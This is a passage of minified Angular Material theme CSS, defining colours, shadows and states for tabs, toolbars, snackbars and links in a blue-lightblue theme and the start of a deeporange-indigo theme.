.mat-tab-label.mat-tab-disabled,.blue-lightblue-theme .mat-tab-link.mat-tab-disabled{color:#00000061}.blue-lightblue-theme .mat-tab-header-pagination-chevron{border-color:#000000de}.blue-lightblue-theme .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#00000061}.blue-lightblue-theme .mat-tab-group[class*=mat-background-]>.mat-tab-header,.blue-lightblue-theme .mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}.blue-lightblue-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#42a5f54d}.blue-lightblue-theme .mat-tab-group.mat-primary .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#1976d2}.blue-lightblue-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.blue-lightblue-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.blue-lightblue-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#039be54d}.blue-lightblue-theme .mat-tab-group.mat-accent .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#0288d1}.blue-lightblue-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.blue-lightblue-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.blue-lightblue-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.blue-lightblue-theme .mat-tab-group.mat-warn .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#f44336}.blue-lightblue-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.blue-lightblue-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.blue-lightblue-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#42a5f54d}.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination{background-color:#1976d2}.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link{color:#fff}.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-ripple-element,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.blue-lightblue-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#039be54d}.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination{background-color:#0288d1}.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link{color:#fff}.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-ripple-element,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.blue-lightblue-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination{background-color:#f44336}.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link{color:#fff}.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-ripple-element,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.blue-lightblue-theme .mat-toolbar{background:whitesmoke;color:#000000de}.blue-lightblue-theme .mat-toolbar.mat-primary{background:#1976d2;color:#fff}.blue-lightblue-theme .mat-toolbar.mat-accent{background:#0288d1;color:#fff}.blue-lightblue-theme .mat-toolbar.mat-warn{background:#f44336;color:#fff}.blue-lightblue-theme .mat-toolbar .mat-form-field-underline,.blue-lightblue-theme .mat-toolbar .mat-form-field-ripple,.blue-lightblue-theme .mat-toolbar .mat-focused .mat-form-field-ripple{background-color:currentColor}.blue-lightblue-theme .mat-toolbar .mat-form-field-label,.blue-lightblue-theme .mat-toolbar .mat-focused .mat-form-field-label,.blue-lightblue-theme .mat-toolbar .mat-select-value,.blue-lightblue-theme .mat-toolbar .mat-select-arrow,.blue-lightblue-theme .mat-toolbar .mat-form-field.mat-focused .mat-select-arrow{color:inherit}.blue-lightblue-theme .mat-toolbar .mat-input-element{caret-color:currentColor}.blue-lightblue-theme .mat-tooltip{background:rgba(97,97,97,.9)}.blue-lightblue-theme .mat-tree{background:white}.blue-lightblue-theme .mat-tree-node,.blue-lightblue-theme .mat-nested-tree-node{color:#000000de}.blue-lightblue-theme .mat-snack-bar-container{color:#ffffffb3;background:#323232;box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.blue-lightblue-theme .mat-simple-snackbar-action{color:#0288d1}.blue-lightblue-theme a:link,.blue-lightblue-theme a:visited{color:#039be5;text-decoration:none}.blue-lightblue-theme a:hover,.blue-lightblue-theme a:focus,.blue-lightblue-theme a:active{text-decoration:underline}.blue-lightblue-theme a{outline:none}.blue-lightblue-theme .confirmation{color:#0288d1}.blue-lightblue-theme .ribbon:before{border:5px solid #0288d1}.blue-lightblue-theme .ribbon span{background-color:#0288d1}.blue-lightblue-theme .error{color:#f44336}.blue-lightblue-theme .ribbon-sold:before{border:5px solid #f44336}.blue-lightblue-theme .ribbon-sold span{background-color:#f44336}.blue-lightblue-theme .primary-notification{background-color:#1565c0}.blue-lightblue-theme .accent-notification{background-color:#0277bd}.blue-lightblue-theme .warn-notification{background-color:#d32f2f}.blue-lightblue-theme .img-thumbnail{background-color:#1976d20d;border:1px solid #1976d2;border-radius:3px;padding:3px}.blue-lightblue-theme .empty-star{stop-color:#1976d2}.blue-lightblue-theme .filled-star{stop-color:#0288d1}.blue-lightblue-theme .star-border{stroke:#0288d1}.blue-lightblue-theme .mat-snack-bar-container{background-color:#fff!important;color:#000000de!important}.blue-lightblue-theme .mat-snack-bar-container.errorBar{color:#f44336!important}.blue-lightblue-theme .mat-snack-bar-container.confirmBar{color:#0288d1!important}.blue-lightblue-theme .google-button{background-color:#0277bd!important}.blue-lightblue-theme .deluxe-membership{background:linear-gradient(90deg,#1976d2 0%,white 100%)}.blue-lightblue-theme .overlay{background:rgba(21,101,192,.7)}.deeporange-indigo-theme{--theme-primary: #e64a19;--theme-primary-lighter: #e96035;--theme-primary-light: #eb6e47;--theme-primary-darker: #ca4116;--theme-primary-dark: #b83b14;--theme-primary-fade-10: rgba(230, 74, 25, .9);--theme-primary-fade-20: rgba(230, 74, 25, .8);--theme-primary-fade-30: rgba(230, 74, 25, .7);--theme-primary-fade-40: rgba(230, 74, 25, .6);--theme-primary-fade-50: rgba(230, 74, 25, .5);--theme-accent: #1a237e;--theme-accent-lighter: #1f2a97;--theme-accent-light: #232fa8;--theme-accent-darker: #151c65;--theme-accent-dark: #111754;--theme-accent-fade-10: rgba(26, 35, 126, .9);--theme-accent-fade-20: rgba(26, 35, 126, .8);--theme-accent-fade-30: rgba(26, 35, 126, .7);--theme-accent-fade-40: rgba(26, 35, 126, .6);--theme-accent-fade-50: rgba(26, 35, 126, .5);--theme-warn: #f44336;--theme-warn-lighter: #f65e53;--theme-warn-light: #f77066;--theme-warn-darker: #f22819;--theme-warn-dark: #ea1c0d;--theme-warn-fade-10: rgba(244, 67, 54, .9);--theme-warn-fade-20: rgba(244, 67, 54, .8);--theme-warn-fade-30: rgba(244, 67, 54, .7);--theme-warn-fade-40: rgba(244, 67, 54, .6);--theme-warn-fade-50: rgba(244, 67, 54, .5);--theme-text: rgba(0, 0, 0, .87);--theme-text-lighter: rgba(15, 15, 15, .87);--theme-text-light: rgba(26, 26, 26, .87);--theme-text-darker: rgba(0, 0, 0, .87);--theme-text-dark: rgba(0, 0, 0, .87);--theme-text-fade-10: rgba(0, 0, 0, .77);--theme-text-fade-20: rgba(0, 0, 0, .67);--theme-text-fade-30: rgba(0, 0, 0, .57);--theme-text-fade-40: rgba(0, 0, 0, .47);--theme-text-fade-50: rgba(0, 0, 0, .37);--theme-text-invert-15: rgba(38, 38, 38, .87);--theme-text-invert-30: rgba(77, 77, 77, .87);--theme-background: white;--theme-background-lighter: white;--theme-background-light: white;--theme-background-darker: #f0f0f0;--theme-background-dark: #e6e6e6;--theme-background-darkest: #dbdbdb}.deeporange-indigo-theme .mat-ripple-element{background-color:#0000001a}.deeporange-indigo-theme .mat-option{color:#000000de}.deeporange-indigo-theme .mat-option:hover:not(.mat-option-disabled),.deeporange-indigo-theme .mat-option:focus:not(.mat-option-disabled){background:rgba(0,0,0,.04)}.deeporange-indigo-theme .mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(0,0,0,.04)}.deeporange-indigo-theme .mat-option.mat-active{background:rgba(0,0,0,.04);color:#000000de}.deeporange-indigo-theme .mat-option.mat-option-disabled{color:#00000061}.deeporange-indigo-theme .mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#e64a19}.deeporange-indigo-theme .mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#1a237e}.deeporange-indigo-theme .mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#f44336}.deeporange-indigo-theme .mat-optgroup-label{color:#0000008a}.deeporange-indigo-theme .mat-optgroup-disabled .mat-optgroup-label{color:#00000061}.deeporange-indigo-theme .mat-pseudo-checkbox{color:#0000008a}.deeporange-indigo-theme .mat-pseudo-checkbox:after{color:#fafafa}.deeporange-indigo-theme .mat-pseudo-checkbox-disabled{color:#b0b0b0}.deeporange-indigo-theme .mat-primary .mat-pseudo-checkbox-checked,.deeporange-indigo-theme .mat-primary .mat-pseudo-checkbox-indeterminate{background:#e64a19}.deeporange-indigo-theme .mat-pseudo-checkbox-checked,.deeporange-indigo-theme .mat-pseudo-checkbox-indeterminate,.deeporange-indigo-theme .mat-accent .mat-pseudo-checkbox-checked,.deeporange-indigo-theme .mat-accent .mat-pseudo-checkbox-indeterminate{background:#1a237e}.deeporange-indigo-theme .mat-warn .mat-pseudo-checkbox-checked,.deeporange-indigo-theme .mat-warn .mat-pseudo-checkbox-indeterminate{background:#f44336}.deeporange-indigo-theme .mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.deeporange-indigo-theme .mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#b0b0b0}.deeporange-indigo-theme .mat-app-background,.deeporange-indigo-theme.mat-app-background{background-color:#fafafa;color:#000000de}.deeporange-indigo-theme .mat-elevation-z0{box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeporange-indigo-theme .mat-elevation-z1{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.deeporange-indigo-theme .mat-elevation-z2{box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeporange-indigo-theme .mat-elevation-z3{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.deeporange-indigo-theme .mat-elevation-z4{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeporange-indigo-theme .mat-elevation-z5{box-shadow:0 3px 5px -1px #0003,0 5px 8px #00000024,0 1px 14px #0000001f}.deeporange-indigo-theme .mat-elevation-z6{box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.deeporange-indigo-theme .mat-elevation-z7{box-shadow:0 4px 5px -2px #0003,0 7px 10px 1px #00000024,0 2px 16px 1px #0000001f}.deeporange-indigo-theme .mat-elevation-z8{box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.deeporange-indigo-theme .mat-elevation-z9{box-shadow:0 5px 6px -3px #0003,0 9px 12px 1px #00000024,0 3px 16px 2px #0000001f}.deeporange-indigo-theme .mat-elevation-z10{box-shadow:0 6px 6px -3px #0003,0 10px 14px 1px #00000024,0 4px 18px 3px #0000001f}.deeporange-indigo-theme .mat-elevation-z11{box-shadow:0 6px 7px -4px #0003,0 11px 15px 1px #00000024,0 4px 20px 3px #0000001f}.deeporange-indigo-theme .mat-elevation-z12{box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.deeporange-indigo-theme .mat-elevation-z13{box-shadow:0 7px 8px -4px #0003,0 13px 19px 2px #00000024,0 5px 24px 4px #0000001f}.deeporange-indigo-theme .mat-elevation-z14{box-shadow:0 7px 9px -4px #0003,0 14px 21px 2px #00000024,0 5px 26px 4px #0000001f}.deeporange-indigo-theme .mat-elevation-z15{box-shadow:0 8px 9px -5px #0003,0 15px 22px 2px #00000024,0 6px 28px 5px #0000001f}.deeporange-indigo-theme .mat-elevation-z16{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.deeporange-indigo-theme .mat-elevation-z17{box-shadow:0 8px 11px -5px #0003,0 17px 26px 2px #00000024,0 6px 32px 5px #0000001f}.deeporange-indigo-theme .mat-elevation-z18{box-shadow:0 9px 11px -5px #0003,0 18px 28px 2px #00000024,0 7px 34px 6px #0000001f}.deeporange-indigo-theme .mat-elevation-z19{box-shadow:0 9px 12px -6px #0003,0 19px 29px 2px #00000024,0 7px 36px 6px #0000001f}.deeporange-indigo-theme .mat-elevation-z20{box-shadow:0 10px 13px -6px #0003,0 20px 31px 3px #00000024,0 8px 38px 7px #0000001f}.deeporange-indigo-theme .mat-elevation-z21{box-shadow:0 10px 13px -6px #0003,0 21px 33px 3px #00000024,0 8px 40px 7px #0000001f}.deeporange-indigo-theme .mat-elevation-z22{box-shadow:0 10px 14px -6px #0003,0 22px 35px 3px #00000024,0 8px 42px 7px #0000001f}.deeporange-indigo-theme .mat-elevation-z23{box-shadow:0 11px 14px -7px #0003,0 23px 36px 3px #00000024,0 9px 44px 8px #0000001f}.deeporange-indigo-theme .mat-elevation-z24{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.mat-theme-loaded-marker{display:none}.deeporange-indigo-theme .mat-autocomplete-panel{background:white;color:#000000de}.deeporange-indigo-theme .mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeporange-indigo-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:white}.deeporange-indigo-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:#000000de}.deeporange-indigo-theme .mat-badge{position:relative}.deeporange-indigo-theme 